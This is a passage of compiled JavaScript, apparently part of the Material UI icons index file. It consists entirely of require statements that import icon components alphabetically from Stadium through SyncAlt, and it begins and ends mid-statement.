_interopRequireDefault(require(\"./StadiumSharp\"));\nvar _StadiumTwoTone = _interopRequireDefault(require(\"./StadiumTwoTone\"));\nvar _Stairs = _interopRequireDefault(require(\"./Stairs\"));\nvar _StairsOutlined = _interopRequireDefault(require(\"./StairsOutlined\"));\nvar _StairsRounded = _interopRequireDefault(require(\"./StairsRounded\"));\nvar _StairsSharp = _interopRequireDefault(require(\"./StairsSharp\"));\nvar _StairsTwoTone = _interopRequireDefault(require(\"./StairsTwoTone\"));\nvar _Star = _interopRequireDefault(require(\"./Star\"));\nvar _StarBorder = _interopRequireDefault(require(\"./StarBorder\"));\nvar _StarBorderOutlined = _interopRequireDefault(require(\"./StarBorderOutlined\"));\nvar _StarBorderPurple = _interopRequireDefault(require(\"./StarBorderPurple500\"));\nvar _StarBorderPurple500Outlined = _interopRequireDefault(require(\"./StarBorderPurple500Outlined\"));\nvar _StarBorderPurple500Rounded = _interopRequireDefault(require(\"./StarBorderPurple500Rounded\"));\nvar _StarBorderPurple500Sharp = _interopRequireDefault(require(\"./StarBorderPurple500Sharp\"));\nvar _StarBorderPurple500TwoTone = _interopRequireDefault(require(\"./StarBorderPurple500TwoTone\"));\nvar _StarBorderRounded = _interopRequireDefault(require(\"./StarBorderRounded\"));\nvar _StarBorderSharp = _interopRequireDefault(require(\"./StarBorderSharp\"));\nvar _StarBorderTwoTone = _interopRequireDefault(require(\"./StarBorderTwoTone\"));\nvar _StarHalf = _interopRequireDefault(require(\"./StarHalf\"));\nvar _StarHalfOutlined = _interopRequireDefault(require(\"./StarHalfOutlined\"));\nvar _StarHalfRounded = _interopRequireDefault(require(\"./StarHalfRounded\"));\nvar _StarHalfSharp = _interopRequireDefault(require(\"./StarHalfSharp\"));\nvar _StarHalfTwoTone = _interopRequireDefault(require(\"./StarHalfTwoTone\"));\nvar _StarOutline = _interopRequireDefault(require(\"./StarOutline\"));\nvar _StarOutlineOutlined = _interopRequireDefault(require(\"./StarOutlineOutlined\"));\nvar _StarOutlineRounded = _interopRequireDefault(require(\"./StarOutlineRounded\"));\nvar _StarOutlineSharp = _interopRequireDefault(require(\"./StarOutlineSharp\"));\nvar _StarOutlineTwoTone = _interopRequireDefault(require(\"./StarOutlineTwoTone\"));\nvar _StarOutlined = _interopRequireDefault(require(\"./StarOutlined\"));\nvar _StarPurple = _interopRequireDefault(require(\"./StarPurple500\"));\nvar _StarPurple500Outlined = _interopRequireDefault(require(\"./StarPurple500Outlined\"));\nvar _StarPurple500Rounded = _interopRequireDefault(require(\"./StarPurple500Rounded\"));\nvar _StarPurple500Sharp = _interopRequireDefault(require(\"./StarPurple500Sharp\"));\nvar _StarPurple500TwoTone = _interopRequireDefault(require(\"./StarPurple500TwoTone\"));\nvar _StarRate = _interopRequireDefault(require(\"./StarRate\"));\nvar _StarRateOutlined = _interopRequireDefault(require(\"./StarRateOutlined\"));\nvar _StarRateRounded = _interopRequireDefault(require(\"./StarRateRounded\"));\nvar _StarRateSharp = _interopRequireDefault(require(\"./StarRateSharp\"));\nvar _StarRateTwoTone = _interopRequireDefault(require(\"./StarRateTwoTone\"));\nvar _StarRounded = _interopRequireDefault(require(\"./StarRounded\"));\nvar _StarSharp = _interopRequireDefault(require(\"./StarSharp\"));\nvar _StarTwoTone = _interopRequireDefault(require(\"./StarTwoTone\"));\nvar _Stars = _interopRequireDefault(require(\"./Stars\"));\nvar _StarsOutlined = _interopRequireDefault(require(\"./StarsOutlined\"));\nvar _StarsRounded = _interopRequireDefault(require(\"./StarsRounded\"));\nvar _StarsSharp = _interopRequireDefault(require(\"./StarsSharp\"));\nvar _StarsTwoTone = _interopRequireDefault(require(\"./StarsTwoTone\"));\nvar _Start = _interopRequireDefault(require(\"./Start\"));\nvar _StartOutlined = _interopRequireDefault(require(\"./StartOutlined\"));\nvar _StartRounded = _interopRequireDefault(require(\"./StartRounded\"));\nvar _StartSharp = _interopRequireDefault(require(\"./StartSharp\"));\nvar _StartTwoTone = _interopRequireDefault(require(\"./StartTwoTone\"));\nvar _StayCurrentLandscape = _interopRequireDefault(require(\"./StayCurrentLandscape\"));\nvar _StayCurrentLandscapeOutlined = _interopRequireDefault(require(\"./StayCurrentLandscapeOutlined\"));\nvar _StayCurrentLandscapeRounded = _interopRequireDefault(require(\"./StayCurrentLandscapeRounded\"));\nvar _StayCurrentLandscapeSharp = _interopRequireDefault(require(\"./StayCurrentLandscapeSharp\"));\nvar _StayCurrentLandscapeTwoTone = _interopRequireDefault(require(\"./StayCurrentLandscapeTwoTone\"));\nvar _StayCurrentPortrait = _interopRequireDefault(require(\"./StayCurrentPortrait\"));\nvar _StayCurrentPortraitOutlined = _interopRequireDefault(require(\"./StayCurrentPortraitOutlined\"));\nvar _StayCurrentPortraitRounded = _interopRequireDefault(require(\"./StayCurrentPortraitRounded\"));\nvar _StayCurrentPortraitSharp = _interopRequireDefault(require(\"./StayCurrentPortraitSharp\"));\nvar _StayCurrentPortraitTwoTone = _interopRequireDefault(require(\"./StayCurrentPortraitTwoTone\"));\nvar _StayPrimaryLandscape = _interopRequireDefault(require(\"./StayPrimaryLandscape\"));\nvar _StayPrimaryLandscapeOutlined = _interopRequireDefault(require(\"./StayPrimaryLandscapeOutlined\"));\nvar _StayPrimaryLandscapeRounded = _interopRequireDefault(require(\"./StayPrimaryLandscapeRounded\"));\nvar _StayPrimaryLandscapeSharp = _interopRequireDefault(require(\"./StayPrimaryLandscapeSharp\"));\nvar _StayPrimaryLandscapeTwoTone = _interopRequireDefault(require(\"./StayPrimaryLandscapeTwoTone\"));\nvar _StayPrimaryPortrait = _interopRequireDefault(require(\"./StayPrimaryPortrait\"));\nvar _StayPrimaryPortraitOutlined = _interopRequireDefault(require(\"./StayPrimaryPortraitOutlined\"));\nvar _StayPrimaryPortraitRounded = _interopRequireDefault(require(\"./StayPrimaryPortraitRounded\"));\nvar _StayPrimaryPortraitSharp = _interopRequireDefault(require(\"./StayPrimaryPortraitSharp\"));\nvar _StayPrimaryPortraitTwoTone = _interopRequireDefault(require(\"./StayPrimaryPortraitTwoTone\"));\nvar _StickyNote = _interopRequireDefault(require(\"./StickyNote2\"));\nvar _StickyNote2Outlined = _interopRequireDefault(require(\"./StickyNote2Outlined\"));\nvar _StickyNote2Rounded = _interopRequireDefault(require(\"./StickyNote2Rounded\"));\nvar _StickyNote2Sharp = _interopRequireDefault(require(\"./StickyNote2Sharp\"));\nvar _StickyNote2TwoTone = _interopRequireDefault(require(\"./StickyNote2TwoTone\"));\nvar _Stop = _interopRequireDefault(require(\"./Stop\"));\nvar _StopCircle = _interopRequireDefault(require(\"./StopCircle\"));\nvar _StopCircleOutlined = _interopRequireDefault(require(\"./StopCircleOutlined\"));\nvar _StopCircleRounded = _interopRequireDefault(require(\"./StopCircleRounded\"));\nvar _StopCircleSharp = _interopRequireDefault(require(\"./StopCircleSharp\"));\nvar _StopCircleTwoTone = _interopRequireDefault(require(\"./StopCircleTwoTone\"));\nvar _StopOutlined = _interopRequireDefault(require(\"./StopOutlined\"));\nvar _StopRounded = _interopRequireDefault(require(\"./StopRounded\"));\nvar _StopScreenShare = _interopRequireDefault(require(\"./StopScreenShare\"));\nvar _StopScreenShareOutlined = _interopRequireDefault(require(\"./StopScreenShareOutlined\"));\nvar _StopScreenShareRounded = _interopRequireDefault(require(\"./StopScreenShareRounded\"));\nvar _StopScreenShareSharp = _interopRequireDefault(require(\"./StopScreenShareSharp\"));\nvar _StopScreenShareTwoTone = _interopRequireDefault(require(\"./StopScreenShareTwoTone\"));\nvar _StopSharp = _interopRequireDefault(require(\"./StopSharp\"));\nvar _StopTwoTone = _interopRequireDefault(require(\"./StopTwoTone\"));\nvar _Storage = _interopRequireDefault(require(\"./Storage\"));\nvar _StorageOutlined = _interopRequireDefault(require(\"./StorageOutlined\"));\nvar _StorageRounded = _interopRequireDefault(require(\"./StorageRounded\"));\nvar _StorageSharp = _interopRequireDefault(require(\"./StorageSharp\"));\nvar _StorageTwoTone = _interopRequireDefault(require(\"./StorageTwoTone\"));\nvar _Store = _interopRequireDefault(require(\"./Store\"));\nvar _StoreMallDirectory = _interopRequireDefault(require(\"./StoreMallDirectory\"));\nvar _StoreMallDirectoryOutlined = _interopRequireDefault(require(\"./StoreMallDirectoryOutlined\"));\nvar _StoreMallDirectoryRounded = _interopRequireDefault(require(\"./StoreMallDirectoryRounded\"));\nvar _StoreMallDirectorySharp = _interopRequireDefault(require(\"./StoreMallDirectorySharp\"));\nvar _StoreMallDirectoryTwoTone = _interopRequireDefault(require(\"./StoreMallDirectoryTwoTone\"));\nvar _StoreOutlined = _interopRequireDefault(require(\"./StoreOutlined\"));\nvar _StoreRounded = _interopRequireDefault(require(\"./StoreRounded\"));\nvar _StoreSharp = _interopRequireDefault(require(\"./StoreSharp\"));\nvar _StoreTwoTone = _interopRequireDefault(require(\"./StoreTwoTone\"));\nvar _Storefront = _interopRequireDefault(require(\"./Storefront\"));\nvar _StorefrontOutlined = _interopRequireDefault(require(\"./StorefrontOutlined\"));\nvar _StorefrontRounded = _interopRequireDefault(require(\"./StorefrontRounded\"));\nvar _StorefrontSharp = _interopRequireDefault(require(\"./StorefrontSharp\"));\nvar _StorefrontTwoTone = _interopRequireDefault(require(\"./StorefrontTwoTone\"));\nvar _Storm = _interopRequireDefault(require(\"./Storm\"));\nvar _StormOutlined = _interopRequireDefault(require(\"./StormOutlined\"));\nvar _StormRounded = _interopRequireDefault(require(\"./StormRounded\"));\nvar _StormSharp = _interopRequireDefault(require(\"./StormSharp\"));\nvar _StormTwoTone = _interopRequireDefault(require(\"./StormTwoTone\"));\nvar _Straight = _interopRequireDefault(require(\"./Straight\"));\nvar _StraightOutlined = _interopRequireDefault(require(\"./StraightOutlined\"));\nvar _StraightRounded = _interopRequireDefault(require(\"./StraightRounded\"));\nvar _StraightSharp = _interopRequireDefault(require(\"./StraightSharp\"));\nvar _StraightTwoTone = _interopRequireDefault(require(\"./StraightTwoTone\"));\nvar _Straighten = _interopRequireDefault(require(\"./Straighten\"));\nvar _StraightenOutlined = _interopRequireDefault(require(\"./StraightenOutlined\"));\nvar _StraightenRounded = _interopRequireDefault(require(\"./StraightenRounded\"));\nvar _StraightenSharp = _interopRequireDefault(require(\"./StraightenSharp\"));\nvar _StraightenTwoTone = _interopRequireDefault(require(\"./StraightenTwoTone\"));\nvar _Stream = _interopRequireDefault(require(\"./Stream\"));\nvar _StreamOutlined = _interopRequireDefault(require(\"./StreamOutlined\"));\nvar _StreamRounded = _interopRequireDefault(require(\"./StreamRounded\"));\nvar _StreamSharp = _interopRequireDefault(require(\"./StreamSharp\"));\nvar _StreamTwoTone = _interopRequireDefault(require(\"./StreamTwoTone\"));\nvar _Streetview = _interopRequireDefault(require(\"./Streetview\"));\nvar _StreetviewOutlined = _interopRequireDefault(require(\"./StreetviewOutlined\"));\nvar _StreetviewRounded = _interopRequireDefault(require(\"./StreetviewRounded\"));\nvar _StreetviewSharp = _interopRequireDefault(require(\"./StreetviewSharp\"));\nvar _StreetviewTwoTone = _interopRequireDefault(require(\"./StreetviewTwoTone\"));\nvar _StrikethroughS = _interopRequireDefault(require(\"./StrikethroughS\"));\nvar _StrikethroughSOutlined = _interopRequireDefault(require(\"./StrikethroughSOutlined\"));\nvar _StrikethroughSRounded = _interopRequireDefault(require(\"./StrikethroughSRounded\"));\nvar _StrikethroughSSharp = _interopRequireDefault(require(\"./StrikethroughSSharp\"));\nvar _StrikethroughSTwoTone = _interopRequireDefault(require(\"./StrikethroughSTwoTone\"));\nvar _Stroller = _interopRequireDefault(require(\"./Stroller\"));\nvar _StrollerOutlined = _interopRequireDefault(require(\"./StrollerOutlined\"));\nvar _StrollerRounded = _interopRequireDefault(require(\"./StrollerRounded\"));\nvar _StrollerSharp = _interopRequireDefault(require(\"./StrollerSharp\"));\nvar _StrollerTwoTone = _interopRequireDefault(require(\"./StrollerTwoTone\"));\nvar _Style = _interopRequireDefault(require(\"./Style\"));\nvar _StyleOutlined = _interopRequireDefault(require(\"./StyleOutlined\"));\nvar _StyleRounded = _interopRequireDefault(require(\"./StyleRounded\"));\nvar _StyleSharp = _interopRequireDefault(require(\"./StyleSharp\"));\nvar _StyleTwoTone = _interopRequireDefault(require(\"./StyleTwoTone\"));\nvar _SubdirectoryArrowLeft = _interopRequireDefault(require(\"./SubdirectoryArrowLeft\"));\nvar _SubdirectoryArrowLeftOutlined = _interopRequireDefault(require(\"./SubdirectoryArrowLeftOutlined\"));\nvar _SubdirectoryArrowLeftRounded = _interopRequireDefault(require(\"./SubdirectoryArrowLeftRounded\"));\nvar _SubdirectoryArrowLeftSharp = _interopRequireDefault(require(\"./SubdirectoryArrowLeftSharp\"));\nvar _SubdirectoryArrowLeftTwoTone = _interopRequireDefault(require(\"./SubdirectoryArrowLeftTwoTone\"));\nvar _SubdirectoryArrowRight = _interopRequireDefault(require(\"./SubdirectoryArrowRight\"));\nvar _SubdirectoryArrowRightOutlined = _interopRequireDefault(require(\"./SubdirectoryArrowRightOutlined\"));\nvar _SubdirectoryArrowRightRounded = _interopRequireDefault(require(\"./SubdirectoryArrowRightRounded\"));\nvar _SubdirectoryArrowRightSharp = _interopRequireDefault(require(\"./SubdirectoryArrowRightSharp\"));\nvar _SubdirectoryArrowRightTwoTone = _interopRequireDefault(require(\"./SubdirectoryArrowRightTwoTone\"));\nvar _Subject = _interopRequireDefault(require(\"./Subject\"));\nvar _SubjectOutlined = _interopRequireDefault(require(\"./SubjectOutlined\"));\nvar _SubjectRounded = _interopRequireDefault(require(\"./SubjectRounded\"));\nvar _SubjectSharp = _interopRequireDefault(require(\"./SubjectSharp\"));\nvar _SubjectTwoTone = _interopRequireDefault(require(\"./SubjectTwoTone\"));\nvar _Subscript = _interopRequireDefault(require(\"./Subscript\"));\nvar _SubscriptOutlined = _interopRequireDefault(require(\"./SubscriptOutlined\"));\nvar _SubscriptRounded = _interopRequireDefault(require(\"./SubscriptRounded\"));\nvar _SubscriptSharp = _interopRequireDefault(require(\"./SubscriptSharp\"));\nvar _SubscriptTwoTone = _interopRequireDefault(require(\"./SubscriptTwoTone\"));\nvar _Subscriptions = _interopRequireDefault(require(\"./Subscriptions\"));\nvar _SubscriptionsOutlined = _interopRequireDefault(require(\"./SubscriptionsOutlined\"));\nvar _SubscriptionsRounded = _interopRequireDefault(require(\"./SubscriptionsRounded\"));\nvar _SubscriptionsSharp = _interopRequireDefault(require(\"./SubscriptionsSharp\"));\nvar _SubscriptionsTwoTone = _interopRequireDefault(require(\"./SubscriptionsTwoTone\"));\nvar _Subtitles = _interopRequireDefault(require(\"./Subtitles\"));\nvar _SubtitlesOff = _interopRequireDefault(require(\"./SubtitlesOff\"));\nvar _SubtitlesOffOutlined = _interopRequireDefault(require(\"./SubtitlesOffOutlined\"));\nvar _SubtitlesOffRounded = _interopRequireDefault(require(\"./SubtitlesOffRounded\"));\nvar _SubtitlesOffSharp = _interopRequireDefault(require(\"./SubtitlesOffSharp\"));\nvar _SubtitlesOffTwoTone = _interopRequireDefault(require(\"./SubtitlesOffTwoTone\"));\nvar _SubtitlesOutlined = _interopRequireDefault(require(\"./SubtitlesOutlined\"));\nvar _SubtitlesRounded = _interopRequireDefault(require(\"./SubtitlesRounded\"));\nvar _SubtitlesSharp = _interopRequireDefault(require(\"./SubtitlesSharp\"));\nvar _SubtitlesTwoTone = _interopRequireDefault(require(\"./SubtitlesTwoTone\"));\nvar _Subway = _interopRequireDefault(require(\"./Subway\"));\nvar _SubwayOutlined = _interopRequireDefault(require(\"./SubwayOutlined\"));\nvar _SubwayRounded = _interopRequireDefault(require(\"./SubwayRounded\"));\nvar _SubwaySharp = _interopRequireDefault(require(\"./SubwaySharp\"));\nvar _SubwayTwoTone = _interopRequireDefault(require(\"./SubwayTwoTone\"));\nvar _Summarize = _interopRequireDefault(require(\"./Summarize\"));\nvar _SummarizeOutlined = _interopRequireDefault(require(\"./SummarizeOutlined\"));\nvar _SummarizeRounded = _interopRequireDefault(require(\"./SummarizeRounded\"));\nvar _SummarizeSharp = _interopRequireDefault(require(\"./SummarizeSharp\"));\nvar _SummarizeTwoTone = _interopRequireDefault(require(\"./SummarizeTwoTone\"));\nvar _Sunny = _interopRequireDefault(require(\"./Sunny\"));\nvar _SunnySnowing = _interopRequireDefault(require(\"./SunnySnowing\"));\nvar _Superscript = _interopRequireDefault(require(\"./Superscript\"));\nvar _SuperscriptOutlined = _interopRequireDefault(require(\"./SuperscriptOutlined\"));\nvar _SuperscriptRounded = _interopRequireDefault(require(\"./SuperscriptRounded\"));\nvar _SuperscriptSharp = _interopRequireDefault(require(\"./SuperscriptSharp\"));\nvar _SuperscriptTwoTone = _interopRequireDefault(require(\"./SuperscriptTwoTone\"));\nvar _SupervisedUserCircle = _interopRequireDefault(require(\"./SupervisedUserCircle\"));\nvar _SupervisedUserCircleOutlined = _interopRequireDefault(require(\"./SupervisedUserCircleOutlined\"));\nvar _SupervisedUserCircleRounded = _interopRequireDefault(require(\"./SupervisedUserCircleRounded\"));\nvar _SupervisedUserCircleSharp = _interopRequireDefault(require(\"./SupervisedUserCircleSharp\"));\nvar _SupervisedUserCircleTwoTone = _interopRequireDefault(require(\"./SupervisedUserCircleTwoTone\"));\nvar _SupervisorAccount = _interopRequireDefault(require(\"./SupervisorAccount\"));\nvar _SupervisorAccountOutlined = _interopRequireDefault(require(\"./SupervisorAccountOutlined\"));\nvar _SupervisorAccountRounded = _interopRequireDefault(require(\"./SupervisorAccountRounded\"));\nvar _SupervisorAccountSharp = _interopRequireDefault(require(\"./SupervisorAccountSharp\"));\nvar _SupervisorAccountTwoTone = _interopRequireDefault(require(\"./SupervisorAccountTwoTone\"));\nvar _Support = _interopRequireDefault(require(\"./Support\"));\nvar _SupportAgent = _interopRequireDefault(require(\"./SupportAgent\"));\nvar _SupportAgentOutlined = _interopRequireDefault(require(\"./SupportAgentOutlined\"));\nvar _SupportAgentRounded = _interopRequireDefault(require(\"./SupportAgentRounded\"));\nvar _SupportAgentSharp = _interopRequireDefault(require(\"./SupportAgentSharp\"));\nvar _SupportAgentTwoTone = _interopRequireDefault(require(\"./SupportAgentTwoTone\"));\nvar _SupportOutlined = _interopRequireDefault(require(\"./SupportOutlined\"));\nvar _SupportRounded = _interopRequireDefault(require(\"./SupportRounded\"));\nvar _SupportSharp = _interopRequireDefault(require(\"./SupportSharp\"));\nvar _SupportTwoTone = _interopRequireDefault(require(\"./SupportTwoTone\"));\nvar _Surfing = _interopRequireDefault(require(\"./Surfing\"));\nvar _SurfingOutlined = _interopRequireDefault(require(\"./SurfingOutlined\"));\nvar _SurfingRounded = _interopRequireDefault(require(\"./SurfingRounded\"));\nvar _SurfingSharp = _interopRequireDefault(require(\"./SurfingSharp\"));\nvar _SurfingTwoTone = _interopRequireDefault(require(\"./SurfingTwoTone\"));\nvar _SurroundSound = _interopRequireDefault(require(\"./SurroundSound\"));\nvar _SurroundSoundOutlined = _interopRequireDefault(require(\"./SurroundSoundOutlined\"));\nvar _SurroundSoundRounded = _interopRequireDefault(require(\"./SurroundSoundRounded\"));\nvar _SurroundSoundSharp = _interopRequireDefault(require(\"./SurroundSoundSharp\"));\nvar _SurroundSoundTwoTone = _interopRequireDefault(require(\"./SurroundSoundTwoTone\"));\nvar _SwapCalls = _interopRequireDefault(require(\"./SwapCalls\"));\nvar _SwapCallsOutlined = _interopRequireDefault(require(\"./SwapCallsOutlined\"));\nvar _SwapCallsRounded = _interopRequireDefault(require(\"./SwapCallsRounded\"));\nvar _SwapCallsSharp = _interopRequireDefault(require(\"./SwapCallsSharp\"));\nvar _SwapCallsTwoTone = _interopRequireDefault(require(\"./SwapCallsTwoTone\"));\nvar _SwapHoriz = _interopRequireDefault(require(\"./SwapHoriz\"));\nvar _SwapHorizOutlined = _interopRequireDefault(require(\"./SwapHorizOutlined\"));\nvar _SwapHorizRounded = _interopRequireDefault(require(\"./SwapHorizRounded\"));\nvar _SwapHorizSharp = _interopRequireDefault(require(\"./SwapHorizSharp\"));\nvar _SwapHorizTwoTone = _interopRequireDefault(require(\"./SwapHorizTwoTone\"));\nvar _SwapHorizontalCircle = _interopRequireDefault(require(\"./SwapHorizontalCircle\"));\nvar _SwapHorizontalCircleOutlined = _interopRequireDefault(require(\"./SwapHorizontalCircleOutlined\"));\nvar _SwapHorizontalCircleRounded = _interopRequireDefault(require(\"./SwapHorizontalCircleRounded\"));\nvar _SwapHorizontalCircleSharp = _interopRequireDefault(require(\"./SwapHorizontalCircleSharp\"));\nvar _SwapHorizontalCircleTwoTone = _interopRequireDefault(require(\"./SwapHorizontalCircleTwoTone\"));\nvar _SwapVert = _interopRequireDefault(require(\"./SwapVert\"));\nvar _SwapVertOutlined = _interopRequireDefault(require(\"./SwapVertOutlined\"));\nvar _SwapVertRounded = _interopRequireDefault(require(\"./SwapVertRounded\"));\nvar _SwapVertSharp = _interopRequireDefault(require(\"./SwapVertSharp\"));\nvar _SwapVertTwoTone = _interopRequireDefault(require(\"./SwapVertTwoTone\"));\nvar _SwapVerticalCircle = _interopRequireDefault(require(\"./SwapVerticalCircle\"));\nvar _SwapVerticalCircleOutlined = _interopRequireDefault(require(\"./SwapVerticalCircleOutlined\"));\nvar _SwapVerticalCircleRounded = _interopRequireDefault(require(\"./SwapVerticalCircleRounded\"));\nvar _SwapVerticalCircleSharp = _interopRequireDefault(require(\"./SwapVerticalCircleSharp\"));\nvar _SwapVerticalCircleTwoTone = _interopRequireDefault(require(\"./SwapVerticalCircleTwoTone\"));\nvar _Swipe = _interopRequireDefault(require(\"./Swipe\"));\nvar _SwipeDown = _interopRequireDefault(require(\"./SwipeDown\"));\nvar _SwipeDownAlt = _interopRequireDefault(require(\"./SwipeDownAlt\"));\nvar _SwipeDownAltOutlined = _interopRequireDefault(require(\"./SwipeDownAltOutlined\"));\nvar _SwipeDownAltRounded = _interopRequireDefault(require(\"./SwipeDownAltRounded\"));\nvar _SwipeDownAltSharp = _interopRequireDefault(require(\"./SwipeDownAltSharp\"));\nvar _SwipeDownAltTwoTone = _interopRequireDefault(require(\"./SwipeDownAltTwoTone\"));\nvar _SwipeDownOutlined = _interopRequireDefault(require(\"./SwipeDownOutlined\"));\nvar _SwipeDownRounded = _interopRequireDefault(require(\"./SwipeDownRounded\"));\nvar _SwipeDownSharp = _interopRequireDefault(require(\"./SwipeDownSharp\"));\nvar _SwipeDownTwoTone = _interopRequireDefault(require(\"./SwipeDownTwoTone\"));\nvar _SwipeLeft = _interopRequireDefault(require(\"./SwipeLeft\"));\nvar _SwipeLeftAlt = _interopRequireDefault(require(\"./SwipeLeftAlt\"));\nvar _SwipeLeftAltOutlined = _interopRequireDefault(require(\"./SwipeLeftAltOutlined\"));\nvar _SwipeLeftAltRounded = _interopRequireDefault(require(\"./SwipeLeftAltRounded\"));\nvar _SwipeLeftAltSharp = _interopRequireDefault(require(\"./SwipeLeftAltSharp\"));\nvar _SwipeLeftAltTwoTone = _interopRequireDefault(require(\"./SwipeLeftAltTwoTone\"));\nvar _SwipeLeftOutlined = _interopRequireDefault(require(\"./SwipeLeftOutlined\"));\nvar _SwipeLeftRounded = _interopRequireDefault(require(\"./SwipeLeftRounded\"));\nvar _SwipeLeftSharp = _interopRequireDefault(require(\"./SwipeLeftSharp\"));\nvar _SwipeLeftTwoTone = _interopRequireDefault(require(\"./SwipeLeftTwoTone\"));\nvar _SwipeOutlined = _interopRequireDefault(require(\"./SwipeOutlined\"));\nvar _SwipeRight = _interopRequireDefault(require(\"./SwipeRight\"));\nvar _SwipeRightAlt = _interopRequireDefault(require(\"./SwipeRightAlt\"));\nvar _SwipeRightAltOutlined = _interopRequireDefault(require(\"./SwipeRightAltOutlined\"));\nvar _SwipeRightAltRounded = _interopRequireDefault(require(\"./SwipeRightAltRounded\"));\nvar _SwipeRightAltSharp = _interopRequireDefault(require(\"./SwipeRightAltSharp\"));\nvar _SwipeRightAltTwoTone = _interopRequireDefault(require(\"./SwipeRightAltTwoTone\"));\nvar _SwipeRightOutlined = _interopRequireDefault(require(\"./SwipeRightOutlined\"));\nvar _SwipeRightRounded = _interopRequireDefault(require(\"./SwipeRightRounded\"));\nvar _SwipeRightSharp = _interopRequireDefault(require(\"./SwipeRightSharp\"));\nvar _SwipeRightTwoTone = _interopRequireDefault(require(\"./SwipeRightTwoTone\"));\nvar _SwipeRounded = _interopRequireDefault(require(\"./SwipeRounded\"));\nvar _SwipeSharp = _interopRequireDefault(require(\"./SwipeSharp\"));\nvar _SwipeTwoTone = _interopRequireDefault(require(\"./SwipeTwoTone\"));\nvar _SwipeUp = _interopRequireDefault(require(\"./SwipeUp\"));\nvar _SwipeUpAlt = _interopRequireDefault(require(\"./SwipeUpAlt\"));\nvar _SwipeUpAltOutlined = _interopRequireDefault(require(\"./SwipeUpAltOutlined\"));\nvar _SwipeUpAltRounded = _interopRequireDefault(require(\"./SwipeUpAltRounded\"));\nvar _SwipeUpAltSharp = _interopRequireDefault(require(\"./SwipeUpAltSharp\"));\nvar _SwipeUpAltTwoTone = _interopRequireDefault(require(\"./SwipeUpAltTwoTone\"));\nvar _SwipeUpOutlined = _interopRequireDefault(require(\"./SwipeUpOutlined\"));\nvar _SwipeUpRounded = _interopRequireDefault(require(\"./SwipeUpRounded\"));\nvar _SwipeUpSharp = _interopRequireDefault(require(\"./SwipeUpSharp\"));\nvar _SwipeUpTwoTone = _interopRequireDefault(require(\"./SwipeUpTwoTone\"));\nvar _SwipeVertical = _interopRequireDefault(require(\"./SwipeVertical\"));\nvar _SwipeVerticalOutlined = _interopRequireDefault(require(\"./SwipeVerticalOutlined\"));\nvar _SwipeVerticalRounded = _interopRequireDefault(require(\"./SwipeVerticalRounded\"));\nvar _SwipeVerticalSharp = _interopRequireDefault(require(\"./SwipeVerticalSharp\"));\nvar _SwipeVerticalTwoTone = _interopRequireDefault(require(\"./SwipeVerticalTwoTone\"));\nvar _SwitchAccessShortcut = _interopRequireDefault(require(\"./SwitchAccessShortcut\"));\nvar _SwitchAccessShortcutAdd = _interopRequireDefault(require(\"./SwitchAccessShortcutAdd\"));\nvar _SwitchAccessShortcutAddOutlined = _interopRequireDefault(require(\"./SwitchAccessShortcutAddOutlined\"));\nvar _SwitchAccessShortcutAddRounded = _interopRequireDefault(require(\"./SwitchAccessShortcutAddRounded\"));\nvar _SwitchAccessShortcutAddSharp = _interopRequireDefault(require(\"./SwitchAccessShortcutAddSharp\"));\nvar _SwitchAccessShortcutAddTwoTone = _interopRequireDefault(require(\"./SwitchAccessShortcutAddTwoTone\"));\nvar _SwitchAccessShortcutOutlined = _interopRequireDefault(require(\"./SwitchAccessShortcutOutlined\"));\nvar _SwitchAccessShortcutRounded = _interopRequireDefault(require(\"./SwitchAccessShortcutRounded\"));\nvar _SwitchAccessShortcutSharp = _interopRequireDefault(require(\"./SwitchAccessShortcutSharp\"));\nvar _SwitchAccessShortcutTwoTone = _interopRequireDefault(require(\"./SwitchAccessShortcutTwoTone\"));\nvar _SwitchAccount = _interopRequireDefault(require(\"./SwitchAccount\"));\nvar _SwitchAccountOutlined = _interopRequireDefault(require(\"./SwitchAccountOutlined\"));\nvar _SwitchAccountRounded = _interopRequireDefault(require(\"./SwitchAccountRounded\"));\nvar _SwitchAccountSharp = _interopRequireDefault(require(\"./SwitchAccountSharp\"));\nvar _SwitchAccountTwoTone = _interopRequireDefault(require(\"./SwitchAccountTwoTone\"));\nvar _SwitchCamera = _interopRequireDefault(require(\"./SwitchCamera\"));\nvar _SwitchCameraOutlined = _interopRequireDefault(require(\"./SwitchCameraOutlined\"));\nvar _SwitchCameraRounded = _interopRequireDefault(require(\"./SwitchCameraRounded\"));\nvar _SwitchCameraSharp = _interopRequireDefault(require(\"./SwitchCameraSharp\"));\nvar _SwitchCameraTwoTone = _interopRequireDefault(require(\"./SwitchCameraTwoTone\"));\nvar _SwitchLeft = _interopRequireDefault(require(\"./SwitchLeft\"));\nvar _SwitchLeftOutlined = _interopRequireDefault(require(\"./SwitchLeftOutlined\"));\nvar _SwitchLeftRounded = _interopRequireDefault(require(\"./SwitchLeftRounded\"));\nvar _SwitchLeftSharp = _interopRequireDefault(require(\"./SwitchLeftSharp\"));\nvar _SwitchLeftTwoTone = _interopRequireDefault(require(\"./SwitchLeftTwoTone\"));\nvar _SwitchRight = _interopRequireDefault(require(\"./SwitchRight\"));\nvar _SwitchRightOutlined = _interopRequireDefault(require(\"./SwitchRightOutlined\"));\nvar _SwitchRightRounded = _interopRequireDefault(require(\"./SwitchRightRounded\"));\nvar _SwitchRightSharp = _interopRequireDefault(require(\"./SwitchRightSharp\"));\nvar _SwitchRightTwoTone = _interopRequireDefault(require(\"./SwitchRightTwoTone\"));\nvar _SwitchVideo = _interopRequireDefault(require(\"./SwitchVideo\"));\nvar _SwitchVideoOutlined = _interopRequireDefault(require(\"./SwitchVideoOutlined\"));\nvar _SwitchVideoRounded = _interopRequireDefault(require(\"./SwitchVideoRounded\"));\nvar _SwitchVideoSharp = _interopRequireDefault(require(\"./SwitchVideoSharp\"));\nvar _SwitchVideoTwoTone = _interopRequireDefault(require(\"./SwitchVideoTwoTone\"));\nvar _Synagogue = _interopRequireDefault(require(\"./Synagogue\"));\nvar _SynagogueOutlined = _interopRequireDefault(require(\"./SynagogueOutlined\"));\nvar _SynagogueRounded = _interopRequireDefault(require(\"./SynagogueRounded\"));\nvar _SynagogueSharp = _interopRequireDefault(require(\"./SynagogueSharp\"));\nvar _SynagogueTwoTone = _interopRequireDefault(require(\"./SynagogueTwoTone\"));\nvar _Sync = _interopRequireDefault(require(\"./Sync\"));\nvar _SyncAlt = _interopRequireDefault(require(\"./SyncAlt\"));\nvar _SyncAltOutlined = _interopRequireDefault(require(\"./SyncAltOutlined\"));\nvar _SyncAltRounded = 